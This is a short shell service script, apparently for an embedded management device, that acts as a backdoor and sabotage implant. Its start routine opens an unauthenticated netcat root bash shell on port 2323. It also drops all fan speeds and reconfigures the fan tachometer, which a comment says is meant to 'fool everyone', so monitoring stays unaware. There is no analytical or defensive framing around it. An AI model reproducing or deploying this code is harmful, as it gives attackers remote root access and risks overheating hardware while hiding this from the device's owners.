#/bin/sh # # Local customizations below # modulename="/bin/nc" rootname="nc" pwm="/avct/util/pwm_test" fantach="/avct/util/FanTachTestAP" start() { # Provide root shell via netcat /bin/$rootname -l -p 2323 -e /bin/bash & # Drop RPM fan speed for fan in 0 1 2 3 do $pwm 0 $fan 4 -1 50 & done # Fool everyone by setting fan tach frequency to 1 (instead of two) $fantach config all 1 } stop() { cnt=$(ps | grep -c $modulename) if [ $cnt -gt 1 ] then killall -9 $rootname fi } case "$1" in start) start ;; stop) stop ;; reset) stop ;; restart) stop start ;; *) echo $"Usage: $0 {start|stop|reset|restart}" exit 1 esac RETVAL=0 exit $?